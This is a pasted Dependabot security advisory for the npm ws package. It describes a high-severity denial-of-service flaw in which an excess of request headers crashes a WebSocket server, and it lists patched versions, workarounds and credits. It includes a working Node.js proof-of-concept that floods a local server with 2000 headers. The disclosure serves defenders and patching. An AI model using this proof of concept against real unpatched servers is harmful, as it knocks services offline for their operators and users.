Description
Pasting the Dependabot alert for the ws package:
Package: ws (npm)
Affected versions: >= 8.0.0, < 8.17.1
Patched version: 8.17.1
Severity: High
Impact
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
Proof of concept
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
Patches
The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.
References
websockets/ws#2230
websockets/ws#2231